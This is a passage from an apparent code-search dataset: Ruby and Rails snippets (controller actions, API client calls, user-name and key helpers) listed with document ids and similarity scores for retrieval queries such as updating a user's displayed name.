show.html.erb\n format.xml { render :xml => @ccl }\n end\n end", "title": "" }, { "docid": "02d3623d20856df81c8874d4bd0512e7", "score": "0.55273914", "text": "def new\n @self_service_customer = SelfService::Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @self_service_customer }\n end\n end", "title": "" }, { "docid": "33c8538bf9534e22359c353d729415b7", "score": "0.5526956", "text": "def index\n @customers = Customer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @customers }\n end\n end", "title": "" }, { "docid": "7810a327c5a8ff175f439b97d2878436", "score": "0.55264074", "text": "def customers\n ShopifyAPI::Customer.all\n end", "title": "" }, { "docid": "3053eb3be292d82b8a9b1089947c8c88", "score": "0.5516494", "text": "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service }\n end\n end", "title": "" }, { "docid": "3b8bf2c1f854a50ada4b26a97253a006", "score": "0.55122507", "text": "def show\n @customer = Customer.find(params[:customer_id])\n @contact = @customer.contacts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render \"show.html.erb\", :layout => false }\n end\n end", "title": "" }, { "docid": "59437ea15f66deaee3726d229df1e413", "score": "0.550174", "text": "def customer(customer_id)\n perform_get_request(\"/customer/#{customer_id}\")\n end", "title": "" }, { "docid": "db7f456beea487f39da102cbc575aca3", "score": "0.5490231", "text": "def show\n @customer = Customer.find(params[:id])\n end", "title": "" }, { "docid": "db7f456beea487f39da102cbc575aca3", "score": "0.5490231", "text": "def show\n @customer = Customer.find(params[:id])\n end", "title": "" }, { "docid": "cf06302bfac61e5b1a66df4691b4a72e", "score": "0.5489648", "text": "def GET; end", "title": "" }, { "docid": "84a06671532d0a7848db441dfe6a6d24", "score": "0.5487406", "text": "def index\n\t@customers = Customer.all()\n end", "title": "" }, { "docid": "193b6cacbc9ba2d9ca1f9472290ea330", "score": "0.5481719", "text": "def show\n respond_to do |format|\n format.xml { }\n format.html { render 'show' }\n end\n end", "title": "" }, { "docid": "23d9b930031d711da870cc61f054a432", "score": "0.5480507", "text": "def list_customer_categories\n doc = Hpricot::XML(request.raw_post) \n doc = doc.to_s.gsub(\"&amp;\",\"&\") \n doc = Hpricot::XML(doc)\n @customer_categories = Customer::CustomerCrud.list_customer_categories(doc)\n render_view( @customer_categories,'customer_categories','L')\n end", "title": "" }, { "docid": "38d81bc56588d6801d9545a3aa61bad4", "score": "0.5479971", "text": "def index\n @user = current_user\n @customers = @user.customers\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @customers }\n end\n end", "title": "" }, { "docid": "950fb8b671b17ac05fb0d817540763e2", "score": "0.5471788", "text": "def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end", "title": "" }, { "docid": "70a16acac8493d719940143a77276110", "score": "0.5470004", "text": "def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n response.body\r\n end", "title": "" }, { "docid": "3e4d8e775806c2783887a75da2dd8326", "score": "0.54679984", "text": "def show\n render json: Customer.find(params[:id]).to_response, status: :ok\n end", "title": "" }, { "docid": "b0e003672ee195fe6e936122be01269a", "score": "0.5463537", "text": "def show\n @mailing_list = MailingList.find(params[:mailing_list_id])\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @customer }\n \n end\n end", "title": "" }, { "docid": "f2ad355e259b391d8dc6db79e32a084d", "score": "0.5459027", "text": "def show\r\n @customer_document = CustomerDocument.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @customer_document }\r\n end\r\n end", "title": "" }, { "docid": "117a07090a1040933493335394796af6", "score": "0.54575145", "text": "def info\n get '/'\n end", "title": "" }, { "docid": "cdca72b3040cea6a8a02ce4b6b34a945", "score": "0.54563713", "text": "def show\n @contactos = Contactos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @contactos }\n end\n end", "title": "" }, { "docid": "e0f71cc7e59f8f90d2eaf0a3a873115a", "score": "0.5452551", "text": "def retrieve_customer(customer_id:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::GET,\n '/v2/customers/{customer_id}',\n 'default')\n .template_param(new_parameter(customer_id, key: 'customer_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'accept'))\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "title": "" }, { "docid": "de4fd4da275469f4a5098001f20c0daa", "score": "0.5448718", "text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @customer }\n end\n end", "title": "" }, { "docid": "de4fd4da275469f4a5098001f20c0daa", "score": "0.5448718", "text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @customer }\n end\n end", "title": "" }, { "docid": "f3b0b6a69df3a56f1ece8065c477de80", "score": "0.54464716", "text": "def _retrieve(options={})\n request :retrieve do |soap|\n soap.body = { :retrieve_request => options }\n end\n end", "title": "" }, { "docid": "d95805ac3bcd4294fbda572eec9b7a8c", "score": "0.54424095", "text": "def show\n @retailorder = Retailorder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @retailorder }\n end\n end", "title": "" }, { "docid": "59dd58ba14da5ed5c5716ddc02cc8683", "score": "0.54415965", "text": "def index\n @page = (params[:page] || 1).to_i\n @list_action = customers_path\n @customers_filter ||= params[:customers_filter]\n\n if !@customers_filter.blank?\n terms = @customers_filter.split /\\s+/\n @page_title = %Q{Customers matching \"#{@customers_filter}\"}\n @customers =\n Customer.exact_name_matches(terms).or(\n Customer.partial_name_matches(terms)).or(\n Customer.other_term_matches(terms)).\n order('last_name,first_name').\n uniq\n else\n @page_title = \"All Customers\"\n @customers = Customer.regular_customers\n end\n @customers = @customers.paginate(:page => @page)\n end", "title": "" }, { "docid": "b5e7aede535f4d0fff9b28be62cd2896", "score": "0.54414684", "text": "def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @requests }\n end\n end", "title": "" }, { "docid": "9c42b5dd2610caa190d5b74f13124a0b", "score": "0.5441323", "text": "def test_articlerss\n get :articlerss, :id => 1 \n assert_response :success\n assert_nothing_raised do\n assert REXML::Document.new(@response.body)\n end\n end", "title": "" }, { "docid": "986132d2dbcbf76baa673abb02b7ee6d", "score": "0.5437566", "text": "def index\n @cuentas = Cuenta.all\n\n @cadena = getcuentasxml\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cadena }\n end\n end", "title": "" }, { "docid": "81a5496fd1f9194a5326a6b4a2d7f9b0", "score": "0.5421102", "text": "def show\n @client = Client.find(@current_user[\"client_id\"])\n\n respond_to do |format|\n format.html \n format.xml { render :xml => @client }\n end\n end", "title": "" }, { "docid": "3b542f327714ebe02cb0728473623a64", "score": "0.5416936", "text": "def show\n @company = Company.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @company }\n end\n end", "title": "" }, { "docid": "3b542f327714ebe02cb0728473623a64", "score": "0.5416936", "text": "def show\n @company = Company.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @company }\n end\n end", "title": "" }, { "docid": "3b542f327714ebe02cb0728473623a64", "score": "0.5416936", "text": "def show\n @company = Company.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @company }\n end\n end", "title": "" }, { "docid": "1a92bec384da31606be4423fc987d59f", "score": "0.541359", "text": "def show\n @cust = Cust.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cust }\n end\n end", "title": "" }, { "docid": "d2743c235eae565b912f2a4decffa3ee", "score": "0.5412586", "text": "def show\n @print = Print.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @print }\n end\n end", "title": "" }, { "docid": "b5f9cfa1edb4d1467ac1ef43d681acc3", "score": "0.5411433", "text": "def index\n @customers = Customer.where(:company_id => current_user.company.id).paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @customers }\n end\n end", "title": "" }, { "docid": "a394c435822a50c1c20ab30e7105e4a9", "score": "0.54112816", "text": "def index\n #data = HTTParty.get(\"http://localhost:8081/customers.json\")\n #p data.parsed_response[0]['email']\n if params[:customerId].present?\n @orders = Order.where(\"customerId\": params[:customerId].to_i)\n render json: @orders, status: 200\n elsif params[:id].present?\n @orders = Order.find_by id: params[:id]\n render json: @orders, status:200\n elsif params[:email].present?\n res = HTTParty.get(\"http://localhost:8081/customers/?email=#{params['email']}\")\n p res\n res = res.parsed_response\n @orders = Order.where(\"customerId\": res['id'].to_i)\n render json: @orders, status:200\n else\n @orders = Order.all\n end\n end", "title": "" }, { "docid": "6e131b7a52ce218d8ecf5ce6b095a62b", "score": "0.5407883", "text": "def show\n\n @company = Company.find(params[:id])\n\n\n \n\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @company }\n end\n end", "title": "" }, { "docid": "ec0312a77ea502a9c0993e89af709bd2", "score": "0.54073834", "text": "def get_customer_all_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CustomerApi.get_customer_all_using_get ...'\n end\n # resource path\n local_var_path = '/customer'\n\n # query parameters\n query_params = {}\n query_params[:'ascending'] = opts[:'ascending'] if !opts[:'ascending'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageCustomer')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomerApi#get_customer_all_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "7119d192d0f1efe82ae7f0cbc45d8317", "score": "0.54063094", "text": "def show\n @customer = Customer.find(params[:id])\n #@customer_types = CustomerType.find_all_by_customer_id(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "3e1a000c519f7cc339d4b75f67cae89b", "score": "0.54047513", "text": "def list_employees(api_object)\n puts \"Current Employees:\"\n doc = Nokogiri::XML.parse api_object.read\n names = doc.xpath('employees/employee/name').collect {|e| e.text }\n puts names.join(\", \")\n puts \"\"\nend", "title": "" } ]
bd34172a7797a272fbaac5299fef31eb
Update displayed user name.
[ { "docid": "e45081cdd1b3c0db88dcd248f00e3c82", "score": "0.6678026", "text": "def update_user_name(uid, name)\n @scores[uid]['name'] = name\n end", "title": "" } ]
[ { "docid": "17cdc9fdc76efc56b06926b27fb037df", "score": "0.7942635", "text": "def update_name(new_name)\n self.update(name: new_name)\n self\n puts \"Your username has been updated.\".colorize(:magenta)\n end", "title": "" }, { "docid": "424cfe50b3d52f90eb5944a1b29143cf", "score": "0.7746649", "text": "def user_display_name=(value)\n @user_display_name = value\n end", "title": "" }, { "docid": "424cfe50b3d52f90eb5944a1b29143cf", "score": "0.7746649", "text": "def user_display_name=(value)\n @user_display_name = value\n end", "title": "" }, { "docid": "424cfe50b3d52f90eb5944a1b29143cf", "score": "0.7746649", "text": "def user_display_name=(value)\n @user_display_name = value\n end", "title": "" }, { "docid": "bc9b05e534e6b133712ce65764375a76", "score": "0.73168117", "text": "def set_user_name_field(user_name)\n end", "title": "" }, { "docid": "8d515e89a8b5feed818974fde1c9675e", "score": "0.7237096", "text": "def update_username(new_name)\n updated_data = Login.load_data.each do |user|\n user['username'] = new_name if user['id'] == @uid.to_s\n end\n File.open(Login.userdata, 'w') do |f|\n f.puts JSON.pretty_generate(updated_data)\n end\n end", "title": "" }, { "docid": "6e351060a930f74b84070b4b52e9cbf3", "score": "0.7195075", "text": "def show_username(str_name)\r\n self.title = \"#{APP_CUPERATIVA_NAME} - Utente: #{str_name}\" \r\n #@lbl_username.text = \"#{@comment_init} - Utente: #{str_name}\" \r\n end", "title": "" }, { "docid": "5e9af48b8a100b36f2abca00655017c4", "score": "0.7185073", "text": "def display_name\n entry = JSON.parse(self.entry)\n user = User.find(user_id)\n \"#{user.display_name} #{entry['text']}\"\n end", "title": "" }, { "docid": "7ebb6baec353e00f1253005912a90be3", "score": "0.7136313", "text": "def display_name\n self.display_name = self.profile.nickname? ? self.profile.nickname : self.username\n end", "title": "" }, { "docid": "3dd465ab8a69f4e7acd1812e6a1e603b", "score": "0.71209687", "text": "def edit_real_name(user, real_name)\n user.real_name = real_name\n user.save_data\n end", "title": "" }, { "docid": "122ddd52704f152e7c0ad7e123e76c42", "score": "0.70367", "text": "def change_username(new_name)\n update_username(new_name)\n @username = new_name\n puts \"Success! Your new username is #{@username}\".colorize(:light_green)\n @prompt.keypress('Press any key to continue..')\n menu = Menu.new(self)\n menu.account_details\n end", "title": "" }, { "docid": "2fac409cd4f81992fd7cca5a610e48e1", "score": "0.70101035", "text": "def display_name_for(user)\n user.first_name.capitalize + ' ' + user.last_name.capitalize + ' ( ID: ' + user.reference_number + ')'\n end", "title": "" }, { "docid": "e0afe745db0153cda9924844d0d50d12", "score": "0.6996371", "text": "def update_username(username)\n @username = username\n end", "title": "" }, { "docid": "f2f084f034132a88d6b2e6fd71b488b2", "score": "0.6986706", "text": "def display_name \n username\n end", "title": "" }, { "docid": "a7adfa7c2c49a458581c34742fa19594", "score": "0.691852", "text": "def update_username\n puts \"\\n\\nChoose your new name: \\n\"\n puts \"To return to menu, enter \" + \"EXIT\\n\\n\".red\n print \">> \"\n\n newname = gets.chomp\n if User.all.any? {|user| user.name.downcase == newname.downcase}\n puts \"\\n\\nThat name already exists.\\n\"\n self.update_username\n elsif newname.downcase == \"exit\"\n menu(self)\n else\n self.name = newname\n self.save\n menu(self)\n end\n end", "title": "" }, { "docid": "6de7d98fb0ec52034530cc5de6854f60", "score": "0.69094855", "text": "def display_name\n username\n end", "title": "" }, { "docid": "1834f2d8060c69409150f03115c1323e", "score": "0.6906454", "text": "def name\n \"#{user_name.titleize}\"\n end", "title": "" }, { "docid": "036f8a1cadecc9ba9076bae795853256", "score": "0.6893915", "text": "def username=(new_name)\n @username = new_name.upcase\n end", "title": "" }, { "docid": "9a9f9b5985a90f784697dbc4c2c3d0c3", "score": "0.6889703", "text": "def add_user_name(username)\n\t\tuser_name_input.set(username)\n\tend", "title": "" }, { "docid": "ac8da64bc9a251acca086347a5233cb1", "score": "0.67934644", "text": "def user_name= (name)\n options = self.class.rauth_options\n name = name.strip.downcase if options[:clean_username]\n self[:user_name] = name\n end", "title": "" }, { "docid": "107d3626bd81e18f7f20011b16863084", "score": "0.6778003", "text": "def full_name\n if user_data\n \"#{user_data['first_name']&.downcase&.capitalize} #{user_data['last_name']&.downcase&.capitalize}\"\n end\n end", "title": "" }, { "docid": "2b731f9c01caeda97df736fe722ea290", "score": "0.6768316", "text": "def new_username=(value)\n @new_username = (value.nil? ? value : value.upcase)\n end", "title": "" }, { "docid": "fb5d747e628332e28ee6da9a62705f6c", "score": "0.67505825", "text": "def user_name_set(name)\n self.username.set name if nil_or_empty?(username[:value])\n end", "title": "" }, { "docid": "69b20faacbcfb807a2d3fcb379873cb0", "score": "0.6740939", "text": "def display_name\n self.name.blank? ? self.username : self.name\n end", "title": "" }, { "docid": "e538ba48f711e6e6d41c62547911bce6", "score": "0.6692442", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "b1cced9a1dd766caf760b7e772e86109", "score": "0.66783035", "text": "def chat_display_name=(value)\n @chat_display_name = value\n end", "title": "" }, { "docid": "b2e0db4c19d6c08cbe30e9586bac2377", "score": "0.6646025", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "0bc9a2de5b4a8b0c70880de276003df6", "score": "0.66404563", "text": "def user_display_name\n return @user_display_name\n end", "title": "" }, { "docid": "0bc9a2de5b4a8b0c70880de276003df6", "score": "0.66404563", "text": "def user_display_name\n return @user_display_name\n end", "title": "" }, { "docid": "0bc9a2de5b4a8b0c70880de276003df6", "score": "0.66404563", "text": "def user_display_name\n return @user_display_name\n end", "title": "" }, { "docid": "50e8c3a762de14b48fb5a11ec99c2023", "score": "0.6625125", "text": "def set_user_name_field(user_name)\n @chrome_driver.find_element(:id, USERNAME_FIELD).send_keys(user_name)\n end", "title": "" }, { "docid": "6e89ebe8224a4de1de4b0c2a3c2a5f69", "score": "0.6619574", "text": "def user_display_name\n @attributes[:user_display_name]\n end", "title": "" }, { "docid": "99931fdf0c335a741d0cd6c3f2a7323c", "score": "0.6603936", "text": "def proper_name # method to get the full name of user\n first_name + \" \" + last_name\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "f55a08eda0db51e04679b85fd00906fe", "score": "0.6593327", "text": "def display_name=(value)\n @display_name = value\n end", "title": "" }, { "docid": "2f3caaf19d4aeefbf13445020545935c", "score": "0.65915483", "text": "def update!(**args)\n @user_name = args[:user_name] if args.key?(:user_name)\n end", "title": "" }, { "docid": "2f3caaf19d4aeefbf13445020545935c", "score": "0.65915483", "text": "def update!(**args)\n @user_name = args[:user_name] if args.key?(:user_name)\n end", "title": "" }, { "docid": "ebadbfcca5530e229e94358ed2094709", "score": "0.6580262", "text": "def display_name=(name)\n @display_name ||= name\n end", "title": "" }, { "docid": "e2f313c4d847780ce12e5d49f74e5f09", "score": "0.65753084", "text": "def full_name\n\t\tself.user_fname.capitalize + \" \" + self.user_lname.capitalize\n\tend", "title": "" }, { "docid": "31f617a616da6e21cef28ded537c27e9", "score": "0.65547544", "text": "def display_name\n \"#{username} <#{email}>\"\n end", "title": "" }, { "docid": "679ca3a2a158335881d62ff80023f2a6", "score": "0.65541995", "text": "def change_info(new_name)\n self.nickname = new_name \n end", "title": "" }, { "docid": "67c8e69cf0548b947d2cd17f774aa12b", "score": "0.65539694", "text": "def get_display_name\n @display_name ||= self.user.display_name\n end", "title": "" }, { "docid": "5163829a932de46097cca1e6880d6cbd", "score": "0.65514696", "text": "def display_user(user)\n user.name\n end", "title": "" }, { "docid": "ead8c5b8e520496c02613835e77d4e7c", "score": "0.65419656", "text": "def set_user_name_field(user_name)\n @chrome_driver.find_element(:id, USERNAME_FIELD).send_keys(user_name)\n sleep 1\n end", "title": "" }, { "docid": "1599cd6b2c264d3f6cf1ca69d69990b1", "score": "0.65350544", "text": "def user_name\n @user_name ||= SlackUtils::SingletonClient.instance.find_user_name(@user_id)\n end", "title": "" }, { "docid": "eca8018b35ddcf22a5be726362e6d18f", "score": "0.65219784", "text": "def set_name\n name = \"\"\n\n if self.firstname.blank? && self.lastname.blank?\n unless self.login.blank?\n name = self.login\n else\n name = self.email\n end\n else\n name = \"#{self.firstname} #{self.lastname}\"\n end\n\n self.update_column(:name, name)\n #self.name = \"Ferdinand\"\n end", "title": "" }, { "docid": "ded0aec7195ae44aaf0b9cb5a2a9815d", "score": "0.6519424", "text": "def full_name\n if self.profile.present?\n \"#{self.profile.first_name.capitalize} #{self.profile.last_name.capitalize}\"\n else\n \"#{username.capitalize}\"\n end\n end", "title": "" }, { "docid": "176bad8b0ec5cca79d9e13425e6019dd", "score": "0.6487458", "text": "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n end", "title": "" }, { "docid": "176bad8b0ec5cca79d9e13425e6019dd", "score": "0.6486246", "text": "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n end", "title": "" }, { "docid": "176bad8b0ec5cca79d9e13425e6019dd", "score": "0.6486246", "text": "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n end", "title": "" }, { "docid": "176bad8b0ec5cca79d9e13425e6019dd", "score": "0.6486246", "text": "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n end", "title": "" }, { "docid": "176bad8b0ec5cca79d9e13425e6019dd", "score": "0.6486246", "text": "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n end", "title": "" }, { "docid": "176bad8b0ec5cca79d9e13425e6019dd", "score": "0.6486246", "text": "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n end", "title": "" }, { "docid": "176bad8b0ec5cca79d9e13425e6019dd", "score": "0.6486246", "text": "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n end", "title": "" }, { "docid": "176bad8b0ec5cca79d9e13425e6019dd", "score": "0.6486246", "text": "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n end", "title": "" }, { "docid": "176bad8b0ec5cca79d9e13425e6019dd", "score": "0.6486246", "text": "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n end", "title": "" }, { "docid": "0936d32fa594cc3e74c6e4ae0ab559d9", "score": "0.64830935", "text": "def set_avatar_name\n self.display_name ||= self.username\n end", "title": "" }, { "docid": "542cfe8c21b09fa7d451ddfbc2b223ca", "score": "0.64778197", "text": "def display_name\n if cas_surname and cas_givenname\n cas_givenname + ' ' + cas_surname\n else\n username\n end\n end", "title": "" } ]
b73847bd83c862e55f30c1f9b69f38ab
protect key for xsalsa20, xchacha20, and hybrid
[ { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.0", "text": "def inspect\n to_s\n end", "title": "" } ]
[ { "docid": "e8e2a21bb892d753e385d2017ab090cf", "score": "0.6177342", "text": "def recover_key\n 0.upto(255).each do |ch|\n @fpga_key = [@puf, [ch].pack('C')].join\n if @syndrome == Crypto.sk_encrypt(@fpga_key, (0..32).to_a.pack('C*'))\n break \n end\n end\n end", "title": "" }, { "docid": "82fa68e28b3fdd868f41ffb4525d7c68", "score": "0.5901876", "text": "def scard(key); end", "title": "" }, { "docid": "82fa68e28b3fdd868f41ffb4525d7c68", "score": "0.5901876", "text": "def scard(key); end", "title": "" }, { "docid": "7ac6a1ab1ac65873cd016e2745979172", "score": "0.58954924", "text": "def lock_keys\n send_and_verify RfRgb::Protocol.key_lock\n end", "title": "" }, { "docid": "9bb9d1b316cb7eeef014061b1ea15440", "score": "0.58407396", "text": "def prepare_key_pw(password)\n prepare_key(str_to_a32(password))\n end", "title": "" }, { "docid": "bcab2525a72be8369bebed25f056a821", "score": "0.581771", "text": "def priv_key=(p0) end", "title": "" }, { "docid": "bcab2525a72be8369bebed25f056a821", "score": "0.581771", "text": "def priv_key=(p0) end", "title": "" }, { "docid": "5bb2bd18212397323c905d7251fc9642", "score": "0.57882005", "text": "def send_key(*args); end", "title": "" }, { "docid": "fbd03a4861f7abed1dba8fc6911acc85", "score": "0.5785648", "text": "def encrypted=(_arg0); end", "title": "" }, { "docid": "4459ce9ded544b5bdb1d3b9d4f85d8c4", "score": "0.57834804", "text": "def auto_transmit_key_presses=(state)\n if state\n send_command( 0x41 )\n else\n send_command( 0x4F )\n end\n end", "title": "" }, { "docid": "7277b0aa9a34689970129de207151d06", "score": "0.5767078", "text": "def encrypt_bitlbee_password(key)\n cmd = Mixlib::ShellOut.new(\" bitlbee -x enc '#{ key }' '#{ self }'\")\n cmd.run_command\n cmd.error!\n cmd.stdout.chomp\n end", "title": "" }, { "docid": "152b4761a66c664ceb6b2957ad3bea73", "score": "0.5735994", "text": "def process_set_session_key(encrypted_keys)\n 